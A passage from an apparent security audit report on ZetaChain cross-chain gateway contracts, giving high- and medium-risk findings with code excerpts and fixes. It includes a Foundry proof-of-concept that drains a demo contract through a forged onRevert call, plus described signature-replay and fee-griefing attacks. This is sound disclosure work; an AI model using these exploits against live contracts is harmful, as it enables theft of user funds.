    if (to == address(0)) revert ZeroAddress();

    IERC20(token).safeTransfer(address(to), amount);
    Revertable(to).onRevert(revertContext);

    emit Reverted(to, token, amount, data, revertContext);
}
```

`revertContext` struct contains data related to the transaction like the asset, revert message and amount.

```
/// @notice Struct containing revert context passed to onRevert.
/// @param asset Address of asset, empty if it's gas token.
/// @param amount Amount specified with the transaction.
/// @param revertMessage Arbitrary data sent back in onRevert.
struct RevertContext {
    address asset;
    uint64 amount;
    bytes revertMessage;
}
```

If we have a look at the `amount` in this struct then it is defined as `uint64` which can only hold the max up to 2 ** 64 -1 which is `18,446,744,073,709,551,615`, now if we consider the token with 18 decimals then this is equal to `18.446744073709551615`.

This means if more than `18.446744073709551615` token amounts are being transferred and the transaction fails for any reason, the revert handling functionality will completely break and it will result in the loss of funds for the user.

Also, take a look at the `depositAndRevert` function:

```
function depositAndRevert(
    address zrc20,
    uint256 amount,
    address target,
    RevertContext calldata revertContext
)
    external
    onlyFungible
    whenNotPaused
{
    if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();
    if (amount == 0) revert InsufficientZRC20Amount();
    if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();

    if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
    UniversalContract(target).onRevert(revertContext);
}
```

It deposits the amount (which is uint256) to the target and calls `onRevert` passing in `revertContext` as an argument. But, the amount in `revertContext` is a uint64 value, different from the amount deposited. This will break the accounting in the `onRevert` function of the `UniversalContract`.

The protocol team confirms that they have not implemented the feature of aborting the transaction and returning funds to the user directly, This means for now all things are relying on the success of the revert handling, and if this fails the user funds are lost. Because of these reasons, I believe this is a high-severity issue.

Recommendation: Change an amount from uint64 to uint256.

```
  struct RevertContext {
     address asset;
-      uint64 amount;
+      uint256 amount;
     bytes revertMessage;
  }
```

3.1.5 `deposit` for native `ZETA` not implemented in the `ZEVM` gateway

Submitted by n4nika, also found by Haxatron, charlesCheerful, Putra Laksmana, dontonka, pwnforce, lian886, shred, karanel, Slavcheww, Aamirusmani1552, spuriousdragon, 0xRio, iamandreiski, crypticdefense, ParthMandale, Spearmint, pkqs90, Al-Qa-qa, Udsen, Lalanda and VarunSharma

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In the `ZEVM` gateway, the `depositAndCall` functions are called by the fungible module when a user initiates a `cctx` including assets and a call from a connected chain. Since there are two types of assets that are handled (native assets (`ZETA`) and `ZRC20` tokens), there are also two `depositAndCall` functions, one for each asset type. Now users can also make a `cctx` without calling a contract on `ZEVM`. For this purpose, the `deposit` function exists.

The problem is that there is only one `deposit` function which handles `ZRC20` tokens. Since users can also transfer native assets as discussed above, this means there is no functionality in the `ZEVM` gateway that allows the execution of `ZETA` deposits to `ZEVM`.

```
function deposit(address zrc20, uint256 amount, address target) external onlyFungible whenNotPaused {
    if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();
    if (amount == 0) revert InsufficientZRC20Amount();

    if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();

    if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
}
```

Now one might think that such transfers might be handled by the fungible module directly but since there are two distinct `depositAndCall` functions only differing in what assets are transferred, it does not seem like it. Also, in the `EVM` gateway, such transfers (native-asset `withdraw` calls) are handled by the `execute`

function by providing an empty `data` field. If we look at the `execute` function in the `ZEVM` gateway, we see that this is not the case here.

```
function execute(
    zContext calldata context,
    address zrc20,
    uint256 amount,
    address target,
    bytes calldata message
)
    external
    onlyFungible
    whenNotPaused
{
    if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();

    UniversalContract(target).onCrossChainCall(context, zrc20, amount, message);
}
```

Considering these points the conclusion is that `ZETA` deposits to the `ZEVM` are not supported currently.

Impact: Impact is the `ZEVM` gateway missing crucial functionality.

Likelihood: `ZETA` deposits to the gateway will happen on a regular basis making this highly likely.

Recommendation: Consider adding a `deposit` function, handling native `ZETA` deposits, to the `ZEVM`. This can be done with the `_transferZETA` function as it is done in `depositAndCall`.

3.1.6 Signature schema is the same for withdraw native SOL and withdraw solana token

Submitted by tenma, also found by n4nika, 4gontuk, alexfilippov314, Vijay and meltedblocks

Severity: High Risk

Context: lib.rs#L207, lib.rs#L166

Description: `withdraw()` in lib.rs#L207 is used to process native SOL withdraw and `withdraw_spl_token` in lib.rs#L166 is used to process withdraw of solana token.

```
let mut concatenated_buffer = Vec::new();
    concatenated_buffer.extend_from_slice(&pda.chain_id.to_be_bytes());
    concatenated_buffer.extend_from_slice(&nonce.to_be_bytes());
    concatenated_buffer.extend_from_slice(&amount.to_be_bytes());
    concatenated_buffer.extend_from_slice(&ctx.accounts.to.key().to_bytes());
    require!(
        message_hash == hash(&concatenated_buffer[..]).to_bytes(),
        Errors::MessageHashMismatch
    );

    let address = recover_eth_address(&message_hash, recovery_id, &signature)?; // ethereum address is the
↪  last 20 Bytes of the hashed pubkey
    msg!("recovered address {:?}", address);
    if address != pda.tss_address {
        msg!("ECDSA signature error");
        return err!(Errors::TSSAuthenticationFailed);
    }
```

But if we look at the both functions, it uses the signature schema and validation is the same and it checks if the signatures comes from ethereum signer address. The root cause is because the token address / identifier is missing in the signature schema.

Impact: An user can consume the signature that should be used to withdraw SOL to withdraw solana token or can consume the signature that should be used to withdraw solana token to withdraw native SOL.

Recommendation: We recommend to implement different signature schema for these two different functions.

3.2 Medium Risk

3.2.1 Performing a second CCTX during a current CCTX will fail due to `nonReentrant`

Submitted by Haxatron, also found by Slavcheww

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Let's suppose in the `GatewayEVM`, a message from ZetaChain ⇒ Connected chain is received. In use case where the function called in `execute*` performs another CCTX in the same transaction (for instance, `execute*` calls a function in the destination contract that will call `call` on the `GatewayEVM` in order to send some data back from Connected ⇒ ZetaChain), it will fail because of the `nonReentrant` modifier.

- GatewayEVM.sol#L123-L140:

```
function execute(
    address destination,
    bytes calldata data
)
    external
    payable
    onlyRole(TSS_ROLE)
    whenNotPaused
    nonReentrant
    returns (bytes memory)
{
    if (destination == address(0)) revert ZeroAddress();
    bytes memory result = _execute(destination, data);

    emit Executed(destination, msg.value, data);

    return result;
}
```

- GatewayEVM.sol#L302-L317:

```
/// @notice Calls an omnichain smart contract without asset transfer.
/// @param receiver Address of the receiver.
/// @param payload Calldata to pass to the call.
/// @param revertOptions Revert options.
function call(
    address receiver,
    bytes calldata payload,
    RevertOptions calldata revertOptions
)
    external
    whenNotPaused
    nonReentrant
{
    if (receiver == address(0)) revert ZeroAddress();
    emit Called(msg.sender, receiver, payload, revertOptions);
}
```

As can be seen both functions have the `nonReentrant` modifier, this means `call` will fail in the same transaction, because no two `nonReentrant` functions from the same contract can be called at the same time.

Recommendation: The `nonReentrant` modifiers can be removed from the `execute*` functions (functions called by the TSS) as the TSS is trusted.

3.2.2 The gas fee calculations do not take into account the data availability fee for L2s

Submitted by Haxatron, also found by BoRonGod

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: In addition to the execution fee in L2s, there is also a data availability fee which is determined by the size of the calldata of the transaction. This is an additional cost charged by L2s in order to submit transaction data to L1. The following is an formula to calculate the total transaction fee for an L2 such as Optimism (also applies to other OP Stack chains like Base).

(See https://dune.com/haddis3/optimism-fee-calculator for details).

```
Optimism Transaction Fee = [ Fee Scalar * L1 Gas Price * (Calldata + Fixed Overhead) ] + [ L2 Gas Price * L2
↪  Gas Used ]
```

As we can see the first component, `[ Fee Scalar * L1 Gas Price * (Calldata + Fixed Overhead) ]`, is the data availability fee and the second component, `[ L2 Gas Price * L2 Gas Used ]`, is the execution cost.

- ZRC20.sol#L276-L291:

```
  function withdrawGasFeeWithGasLimit(uint256 gasLimit) public view override returns (address, uint256) {
  /**
   * @dev Withdraws gas fees with specified gasLimit
   * @return returns the ZRC20 address for gas on the same chain of this ZRC20, and calculates the gas
↪   fee for
   * withdraw()
   */
  function withdrawGasFeeWithGasLimit(uint256 gasLimit) public view override returns (address, uint256) {
      address gasZRC20 = ISystem(SYSTEM_CONTRACT_ADDRESS).gasCoinZRC20ByChainId(CHAIN_ID);
      if (gasZRC20 == address(0)) revert ZeroGasCoin();

      uint256 gasPrice = ISystem(SYSTEM_CONTRACT_ADDRESS).gasPriceByChainId(CHAIN_ID);
      if (gasPrice == 0) {
          revert ZeroGasPrice();
      }
      uint256 gasFee = gasPrice * gasLimit + PROTOCOL_FLAT_FEE;
      return (gasZRC20, gasFee);
  }
  }
```

As we can see a Zetachain → Connected chain CCTX will only take into account the execution cost and not the data availability fee.

An attacker can send a CCTX with a large message which will result in large data availability fee, thereby griefing the TSS address by making it overpay for the CCTX gas.

Recommendation: Account for data availability fee.

3.2.3 Legacy `ZRC20.withdraw()` can be called to perform CCTX when `GatewayZEVM` is paused

Submitted by Haxatron, also found by 0x18a6 and 0xanmol

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Legacy `ZRC20.withdraw()` is still present in the ZRC20 contract.

- ZRC20.sol#L293-L309:

```
  /**
   * @dev Withraws ZRC20 tokens to external chains, this function causes cctx module to send out outbound
↪   tx to the
   * outbound chain
   * this contract should be given enough allowance of the gas ZRC20 to pay for outbound tx gas fee.
   * @param to, recipient address.
   * @param amount, amount to deposit.
   * @return true/false if succeeded/failed.
   */
  function withdraw(bytes memory to, uint256 amount) external override returns (bool) {
      (address gasZRC20, uint256 gasFee) = withdrawGasFee();
      if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
          revert GasFeeTransferFailed();
      }
      _burn(msg.sender, amount);
      emit Withdrawal(msg.sender, to, amount, gasFee, PROTOCOL_FLAT_FEE);
      return true;
  }
```

If the GatewayZEVM is paused, this legacy function can still be called to perform a CCTX.

Recommendation: `ZRC20.withdraw()` should check the gateway's paused status, alternatively might want to deprecate this function if you no longer want to use it

3.2.4 `tssAddress` and `zetaToken` should have setters

Submitted by charlesCheerful, also found by Haxatron, Aamirusmani1552, Slavcheww, crypticdefense, pkqs90 and Udsen

Severity: Medium Risk

Context: GatewayEVM.sol#L64

Description: At `GatewayEVM` the `tssAddress` is only set during contrac initialization. After that it can't be changed unless re-deploy or contract PROXY upgrade.

As there are setters for other important addresses, as the `ERC20Custody` and the `ZetaConnector` the protocol should also have a setter for the `tssAddress`. At the end of the day is a threshold siganture that also has risks of being compromised or buggy.

Recommendation: Add a setter function only callable by admin for the `tssAddress` in the `GatewayEVM` contract. This will allow the protocol to change the `tssAddress` in case of any issue without a costly pause of the networks operations and upgrade.

This issue is also present in the `zettaAddress` state variable in bost `GatewayEVM` and `GatewayZEVM`.

3.2.5 Implement unused gas refund to enable users recover unused gas from over-estimated gasLimit

Submitted by GeneralKay, also found by yttriumzz, lian886, 0xRio, Slavcheww, Mikb, shaflow01, crypticdefense, m4k2, Saksham seth, zanderbyte, Pheonix, jesjupyter, 0xAbhay and amaron

Severity: Medium Risk

Context: GatewayZEVM.sol#L171-L181

Description: The `withdrawAndCall(...)` and the `call(...)` functions of the `GatewayZEVM.sol` contract allows user to pass a `gasLimit` parameter. This `gasLimit` parameter is used to calculate `gasFee` that will be pulled from users to pay for the transaction.

Sometimes you can not estimate the exact amount of gas a transaction will use on external chains, if a users supplies too small `gasLimit` parameter that is not enough to pay for the complete execution, the transaction reverts.

So in most cases users may overestimate or find an estimate and add some buffer to it in order to ensure the transaction does not run out of gas atleast.

From the current implementation, users do not refund for unused gas, causing users to lose gas for each transaction.

Proof of Concept: The call function below allows users to pass the `gasLimit` parameter which is used to calculate `gasFee` amount in the internal `withdrawGasFeeWithGasLimit` function . then the `gasFee` amount is pulled from users. Remember the `gasLimit` passed by users is not bounded and users can pass values in the range of 0 to `type(uint256).max`. Users will most likely pass an overestimated amount because the gasFee varies and depends on the exact time of execution. When users pass a higher `gasLimit` higher gas fee is charged. However when the transaction takes lesser gas fee, the unused gas fee is not refunded to the user.

- `GatewayZEVM.sol`

```
function call(
    bytes memory receiver,
    address zrc20,
    bytes calldata message,
    uint256 gasLimit,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (message.length == 0) revert EmptyMessage();

    (address gasZRC20, uint256 gasFee) = IZRC20(zrc20).withdrawGasFeeWithGasLimit(gasLimit);
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }

    emit Called(msg.sender, zrc20, receiver, message, gasLimit, revertOptions);
}
```

Recommendation: Consider allowing users pass in a `refundAddress` parameter to the `withdrawAndCall` and `call` functions so that unspent gas will be refunded to users.

A similar gas refund refund implemented by wormhole can be found in the feature-receive-refunds section of the wormhole documentation.

3.2.6 Missing cross-chain authentication allowing for access control bypasses

Submitted by Haxatron, also found by amaron

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The Gateway contracts do not expose a function to obtain the sender of a CCTX from the source chain. All bridges expose such functionality to obtain the sender of the CCTX (for instance see Optimism bridge).

However, it is not possible to obtain such information from the ZetaChain contracts allowing for such impersonation attacks. For instance, let a function X be a function that is only meant to be only called by a sender Y on the source chain. However, it is possible to impersonate Y by performing the same CCTX from a different account on the source chain. Since there is no way for X to verify the sender of the CCTX, this would allow for access control bypasses.

Recommendation: Expose a method (similar to Optimism and any other bridge) to obtain the `msg.sender` of the CCTX

3.2.7 `ZetaConnectorNonNative` will `destroy excess values` while `ZetaConnectorNative` will `donate` it to the protocol

Submitted by dontonka, also found by GeneralKay, kalogerone, pwnforce, shred, lian886, n4nika, Abdullahi, ArsenLupin, aksa, amaron, jesjupyter, Udsen, izcoser, ParthMandale and cuthalion0x

Severity: Medium Risk

Context: GatewayEVM.sol#L171-L175

Description: `ZetaConnectors` are used to bridge ZETA token back and forth. Native version is used on ETH which use a lock/unlock mechanism, while NonNative is used on all other EVM chains which use a burn/mint mechanism. The invariant here is that the `value being bridged should never disappears` due a mistake in a contract, it should only move from one hand to another. This is not an invariant specified in the documentation, but a common sense assumption I'm doing generally which apply to bridges.

The above mention invariant is respected on ETH, but not in a specific key scenario on all others EVM chains which use the `ZetaConnectorNonNative`. Whenever user withdraw from ZetaChain, here is the flow.

```
function executeWithERC20(
    address token,
    address to,
    uint256 amount,
    bytes calldata data
)
    public
    onlyRole(ASSET_HANDLER_ROLE)
    whenNotPaused
    nonReentrant
{
    if (amount == 0) revert InsufficientERC20Amount();
    if (to == address(0)) revert ZeroAddress();
    // Approve the target contract to spend the tokens
    if (!resetApproval(token, to)) revert ApprovalFailed();
    if (!IERC20(token).approve(to, amount)) revert ApprovalFailed();
    // Execute the call on the target contract
    _execute(to, data);

    // Reset approval
    if (!resetApproval(token, to)) revert ApprovalFailed();

    // Transfer any remaining tokens back to the custody/connector contract
    uint256 remainingBalance = IERC20(token).balanceOf(address(this));
    if (remainingBalance > 0) {
        transferToAssetHandler(token, remainingBalance);
    }

    emit ExecutedWithERC20(token, to, amount, data);
}
```

- ETH: `withdrawAndCall` → `transfer ZETAs` to gateway → `gateway.executeWithERC20` → `_execute`
- Non-ETH: `withdrawAndCall` → `mint ZETAs` to gateway → `gateway.executeWithERC20` → `_execute`

The divergence occurs after the _execute, the `excess in ZETA` cannot remains on the gateway, so it is sent back to the corresponding ZetaConnector. In the case of ETH, the excess tokens are simply transfered back to the connector, so it effectively become a `donation to ZetaChain`, so while the value is not destroyed, this still raise a concern, as this become effectively a donation to the protocol without any notice.

```
function receiveTokens(uint256 amount) external override whenNotPaused {
    IERC20(zetaToken).safeTransferFrom(msg.sender, address(this), amount);
}
```

Additionally, in non-ETH chains the behavior is worst, the **excess value will be destroyed**, as the excess tokens are burned. Such behavior seems unexpected, probably because this is the same function used when depositing value, so it make total sense to burn it, but on the withdraw for the excess, that doesn't seems right.

```
function receiveTokens(uint256 amount) external override whenNotPaused {
    IZetaNonEthNew(zetaToken).burnFrom(msg.sender, amount);
}
```

Another proof which seems to indicate that this is not by design (both cases) is the fact that if a user deposit into ZETA into ZetaChain, but reverts, the revert flow in such case will call `revertWithERC20` which transfer the entire value to the account directly, so no value is lost and the user recover all his funds (of course minus gas fees). It would be weird to allow value destruction or donation in a specific case but not otherwise.

```
function revertWithERC20(
    address token,
    address to,
    uint256 amount,
    bytes calldata data,
    RevertContext calldata revertContext
)
    external
    onlyRole(ASSET_HANDLER_ROLE)
    whenNotPaused
    nonReentrant
{
    if (amount == 0) revert InsufficientERC20Amount();
    if (to == address(0)) revert ZeroAddress();

    IERC20(token).safeTransfer(address(to), amount);          // <--- THIS, no value is lost
    Revertable(to).onRevert(revertContext);

    emit Reverted(to, token, amount, data, revertContext);
}
```

Impact:

- `ZetaConnectorNonNative`: High as this is a direct fund loss for the user.
- `ZetaConnectorNative`: High as this is a donation without notice to the protocol, which is also a fund loss for the user.

Likelihood: Medium as this will be a new feature and dev's might do such mistake at the beginning. Depending on the dApp logic, event a bad user input could impact the value to not being fully transfered, hard to know.

Proof of Concept:

1. Alice calls `GatewayZEVM::withdrawAndCall` to withdraw 100 ZETA into BSC.
2. TSS will then call `ZetaConnectorNonNative::withdrawAndCall` which will mint 100 ZETA (an ERC20 on BSC) to the gateway.
3. `GatewayEVM::executeWithERC20` is called as the last step of the flow and will execute the Alice's custom business logic. Unfortunatelly, she is still a dev beginner and didn't understood properly that she needed to transfer entire value to her contract when it is called (during `_execute`), so while her contract doesn't revert, it only transfer 80 ZETA token, so after the call, the gateway will detect an excess value of 20 ZETA token, which is unexpected, so it will transfer it back to the AssetHandler, the ZetaConnectorNonNative, which will burn the 20 ZETA of excess, which mean a fund loss for Alice.

Recommendation: I'm not sure why you implemented `executeWithERC20` in such a way by allowing the custom contract to `optionally transfer` the entire value which would cause an excess and value being destroyed, I just don't understand the reasoning.

For both ZetaConnectors, I would recommend to simply send the entire value as you are doing in `revertWithERC20`. Worst case scenario, the fact that you detect an excess is an unexpected behavior which would `justify a revert`, so you should revert the transaction as a whole (to trigger the revert flow and a refund), such that the user doesn't loose any funds at least.

3.2.8 Attacker can create a fake `onRevert` call

Submitted by yttriumzz, also found by Al-Qa-qa

Severity: Medium Risk

Context: GatewayEVM.sol#L113, GatewayEVM.sol#L79

Description: Users can make calls to ZetaChain on the EVM chains. If the transaction on ZetaChain is reverted, the observer set will call `GatewayEVM.executeRevert` on the EVM chains to refund the funds and execute the `onRevert` logic specified by the users. The `onRevert` function of the target address will most likely process the returned funds based on the `revertContext` received from `GatewayEVM` contract, such as returning them to the users. Therefore, `GatewayEVM` must ensure that the `onRevert` call is correct.

However, an attacker can create a fake `onRevert` call by making an arbitrary call from ZetaChain to EVM chains. The attacker can set the `destination` to the arbitrary address and set the `data` to the selector of `onRevert(fakeRevertContext)`.

This will allow the attacker to call `onRevert` to any address with `GatewayEVM` as the caller and control the call parameters. Attackers could exploit this to steal funds from Universal App Potocol. Please see PoC for specific scenarios.

Proof of Concept:

```
diff --git a/v2/test/GatewayEVM.t.sol b/v2/test/GatewayEVM.t.sol
index 11932ee..b4e1d06 100644
--- a/v2/test/GatewayEVM.t.sol
+++ b/v2/test/GatewayEVM.t.sol
@@ -21,6 +21,26 @@ import "../contracts/evm/interfaces/IGatewayEVM.sol";
 import "./utils/IReceiverEVM.sol";
 import "./utils/Zeta.non-eth.sol";

+// !!!!! This is a demo written by the auditor based on the Zetachain cross-chain call logic.
+// !!!!! This is a reasonable UniversalApp contract.
+// Once the target chain reverts, this contract will return the funds to the initiator.
+contract UniversalAppEVMDemo {
+    struct RevertInfo {
+        address crossChainCallInitiator;
+        address refundToken;
+        uint256 refundAmount;
+    }
+
+    function onRevert(RevertContext calldata revertContext) external {
+        (address crossChainCallInitiator, address refundToken, uint256 refundAmount) =
↪  abi.decode(revertContext.revertMessage, (address, address, uint256));
+        if (refundToken == address(0)) {
+            crossChainCallInitiator.call{ value: refundAmount }("");
+        } else {
+            // ...
+        }
+    }
+}
+
 contract GatewayEVMTest is Test, IGatewayEVMErrors, IGatewayEVMEvents, IReceiverEVMEvents,
↪  IERC20CustodyEvents {
     using SafeERC20 for IERC20;

@@ -276,6 +296,29 @@ contract GatewayEVMTest is Test, IGatewayEVMErrors, IGatewayEVMEvents, IReceiver
         vm.expectRevert(ZeroAddress.selector);
         gateway.executeRevert{ value: value }(address(0), data, revertContext);
     }
+
+    function testYttriumzzPoC_GatewayEVMFakeOnRevert() public {
+        address attacker = makeAddr("attacker");
+
+        UniversalAppEVMDemo universalAppEVMDemo = new UniversalAppEVMDemo();
+        vm.deal(address(universalAppEVMDemo), 100e18);
+
+        // attacker triger fake `onRevert`
+        uint256 attackerBalanceBefore = attacker.balance;
+        uint256 victimBalanceBefore = address(universalAppEVMDemo).balance;
+        RevertContext memory fakeRevertContext;
+        fakeRevertContext.revertMessage = abi.encode(
+            UniversalAppEVMDemo.RevertInfo({
+                crossChainCallInitiator: attacker,
```

```
+                refundToken: address(0),
+                refundAmount: 100e18
+            })
+        );
+        bytes memory data = abi.encodeWithSelector(UniversalAppEVMDemo.onRevert.selector, fakeRevertContext);
+        vm.prank(tssAddress); gateway.execute(address(universalAppEVMDemo), data);
+        assertEq(attacker.balance - attackerBalanceBefore, 100e18);
+        assertEq(victimBalanceBefore - address(universalAppEVMDemo).balance, 100e18);
+    }
 }

 contract GatewayEVMInboundTest is Test, IGatewayEVMErrors, IGatewayEVMEvents, IReceiverEVMEvents {
```

Recommendation: It is recommended to separate the executor logic from the `GatewayEVM` contract, and the executor contract should not have other logic.

3.2.9 Incorrect protocol behaviour when making empty-payload cross-chain calls

Submitted by n4nika, also found by Said

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: *(Note: This issue is also partially applicable to the `ZEVM` gateway. Now it is not as severe since calls made to the `EVM` gateway need to contain a function selector meaning it is less likely they are empty but the recommendation should still be applied there (please replace `deposit` with `withdraw` to apply it to the `ZEVM` gateway)).*

The problem is that empty-payload calls are handled incorrectly in the gateways. This can be seen if we look at the `deposit` and `depositAndCall` functions in `GatewayEVM.sol`:

```
function deposit(
    address receiver,
    RevertOptions calldata revertOptions
)
    external
    payable
    whenNotPaused
    nonReentrant
{
    if (msg.value == 0) revert InsufficientETHAmount();
    if (receiver == address(0)) revert ZeroAddress();

    (bool deposited,) = tssAddress.call{ value: msg.value }("");

    if (!deposited) revert DepositFailed();

    emit Deposited(msg.sender, receiver, msg.value, address(0), "", revertOptions);
}
```

```
function depositAndCall(
    address receiver,
    bytes calldata payload,
    RevertOptions calldata revertOptions
)
    external
    payable
    whenNotPaused
    nonReentrant
{
    if (msg.value == 0) revert InsufficientETHAmount();
    if (receiver == address(0)) revert ZeroAddress();

    (bool deposited,) = tssAddress.call{ value: msg.value }("");

    if (!deposited) revert DepositFailed();

    emit Deposited(msg.sender, receiver, msg.value, address(0), payload, revertOptions);
}
```

First we see that in both cases we emit the `Deposited` event. This is part of the issue and it is to note that according to the diagram in the Notion document, `depositAndCall` should emit the `DepositedAndCalled` event.

Now the second thing to notice is that the only place where the two event emissions differ is the `payload` argument. Judging from this, the observers will only be able to differentiate them based on whether that field is empty or not and this is where the problem lies.

This is because if now a user wants to deposit assets and call the `onCrossChainCall` function with an empty payload, the observers will think it is a simple deposit and omit the call on ZetaChain, calling `GatewayZEVM::deposit` instead of `GatewayZEVM::depositAndCall`.

Impact: The impact of this is wildly unexpected behaviour and incorrect functionality as empty-payload calls to ZetaChain are very likely to be used by users (ellaborated on in `Likelihood Explanation`).

Likelihood: The likelihood is very high as empty-payload calls will be very common. This becomes clear if we look at what arguments `onCrossChainCall` takes:

```
interface UniversalContract {
    function onCrossChainCall(
        zContext calldata context,
        address zrc20,
        uint256 amount,
        bytes calldata message
    )
        external;

    function onRevert(RevertContext calldata revertContext) external;
}
```

```
struct zContext {
    bytes origin;
    address sender;
    uint256 chainID;
}
```

We can see that even if we pass an empty `message` (`payload`), we still receive the `origin`, `sender`, `chainID` and `amount` in our ZetaChain contract we want to call. This means all the essential information for doing for example accounting, is transferred with an empty payload, making such calls highly likely to be used.

Proof of Concept: The following test will show that a call to `deposit` and a call to `depositAndCall` with an empty payload will emit an identical event, making them indistinguishable. In order to execute it, please add it to `GatewayEVM.t.sol` and execute `forge test --match-test testCannotDiscernEvents -vvvv`:

```
function testCannotDiscernEvents() public {
    bytes memory payload = "";

    gateway.depositAndCall{value: 1 ether}(destination, payload, revertOptions);

    gateway.deposit{value: 1 ether}(destination, revertOptions);
}
```

This will give output similar to this:

```
[72487] GatewayEVMInboundTest::testCannotDiscernEvents()
  [30035] ERC1967Proxy::depositAndCall{value:
↪  1000000000000000000}(0x0000000000000000000000000000000000001234, 0x, RevertOptions({ revertAddress:
↪  0x0000000000000000000000000000000000000321, callOnRevert: true, abortAddress:
↪  0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 }))
    [25106] GatewayEVM::depositAndCall{value:
↪  1000000000000000000}(0x0000000000000000000000000000000000001234, 0x, RevertOptions({ revertAddress:
↪  0x0000000000000000000000000000000000000321, callOnRevert: true, abortAddress:
↪  0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 })) [delegatecall]
      [0] 0x0000000000000000000000000000000000005678::fallback{value: 1000000000000000000}()
        ← [Stop]
      emit Deposited(sender: GatewayEVMInboundTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], receiver:
↪  0x0000000000000000000000000000000000001234, amount: 1000000000000000000 [1e18], asset:
↪  0x0000000000000000000000000000000000000000, payload: 0x, revertOptions: RevertOptions({ revertAddress:
↪  0x0000000000000000000000000000000000000321, callOnRevert: true, abortAddress:
↪  0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 }))
      ← [Stop]
    ← [Return]
  [16625] ERC1967Proxy::deposit{value: 1000000000000000000}(0x0000000000000000000000000000000000001234,
↪  RevertOptions({ revertAddress: 0x0000000000000000000000000000000000000321, callOnRevert: true,
↪  abortAddress: 0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 }))
    [16208] GatewayEVM::deposit{value: 1000000000000000000}(0x0000000000000000000000000000000000001234,
↪  RevertOptions({ revertAddress: 0x0000000000000000000000000000000000000321, callOnRevert: true,
↪  abortAddress: 0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 }))
↪  [delegatecall]
      [0] 0x0000000000000000000000000000000000005678::fallback{value: 1000000000000000000}()
        ← [Stop]
      emit Deposited(sender: GatewayEVMInboundTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], receiver:
↪  0x0000000000000000000000000000000000001234, amount: 1000000000000000000 [1e18], asset:
↪  0x0000000000000000000000000000000000000000, payload: 0x, revertOptions: RevertOptions({ revertAddress:
↪  0x0000000000000000000000000000000000000321, callOnRevert: true, abortAddress:
↪  0x0000000000000000000000000000000000000321, revertMessage: 0x, onRevertGasLimit: 0 }))
      ← [Stop]
    ← [Return]
  ← [Stop]
```

As we can see, the two emitted events are identical.

Recommendation: Consider adding a `DepositedAndCalled` event as it is suggested in the `Notion` document's diagram. This would allow observers to definitely separate `deposit` and `depositAndCall` calls.

3.2.10 The solana gateway does not support empty-payload calls

Submitted by n4nika, also found by Haxatron

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The proposed system is supposed to support the following interactions (destination is the `ZEVM` gateway):

1) Deposit asset (gas or token) and call a contract.
2) Deposit asset (gas or token).
3) Call a contract.

In the solana gateway when calling a deposit function, the `memo` argument is used by the backend to forward call-arguments to the destination chain (like the `payload` in `GatewayEVM::call`).

This can be seen by taking a look at the latest version's solana observer at inbound.go#L235:

```
func (ob *Observer) BuildInboundVoteMsgFromEvent(event *clienttypes.InboundEvent)
↪  *crosschaintypes.MsgVoteInbound {
    // compliance check. Return nil if the inbound contains restricted addresses
    if compliance.DoesInboundContainsRestrictedAddress(event, ob.Logger()) {
        return nil
    }

    // donation check
    if bytes.Equal(event.Memo, []byte(constant.DonationMessage)) {
        ob.Logger().Inbound.Info().
            Msgf("thank you rich folk for your donation! tx %s chain %d", event.TxHash, event.SenderChainID)
        return nil
    }

    return zetacore.GetInboundVoteMessage(
        event.Sender,
        event.SenderChainID,
        event.Sender,
        event.Sender,
        ob.ZetacoreClient().Chain().ChainId,
        cosmosmath.NewUint(event.Amount),
        hex.EncodeToString(event.Memo), // <-----
        event.TxHash,
        event.BlockNumber,
        0,
        event.CoinType,
        event.Asset,
        ob.ZetacoreClient().GetKeys().GetOperatorAddress().String(),
        0, // not a smart contract call
    )
}
```

Here the memo gets used directly as a hex-string as the message for the `cctx`. *Note: this issue is similar to my issue #222 but the impact and rootcause are a bit different which is why I put it into this separate issue*.

If we look at the third interaction (call a contract), this can be split into two different interactions:

1) Call with payload.
2) Call without payload.

Now the problem lies with the second one. Specifically, the solana gateway does not support empty-payload calls without transfering assets. This can be seen if we look at `deposit`:

```
pub fn deposit(ctx: Context<Deposit>, amount: u64, memo: Vec<u8>) -> Result<()> {
    require!(memo.len() >= 20, Errors::MemoLengthTooShort);
    require!(memo.len() <= 512, Errors::MemoLengthExceeded);

    let pda = &mut ctx.accounts.pda;
    require!(!pda.deposit_paused, Errors::DepositPaused);

    let cpi_context = CpiContext::new(
        ctx.accounts.system_program.to_account_info(),
        system_program::Transfer {
            from: ctx.accounts.signer.to_account_info().clone(),
            to: ctx.accounts.pda.to_account_info().clone(),
        },
    );
    system_program::transfer(cpi_context, amount)?;
    msg!(
        "{:?} deposits {:?} lamports to PDA",
        ctx.accounts.signer.key(),
        amount
    );

    Ok(())
}
```

First of all we have the `20` byte restriction on the `memo` but this has been analyzed in my issue `#237` which is distinct from this one.

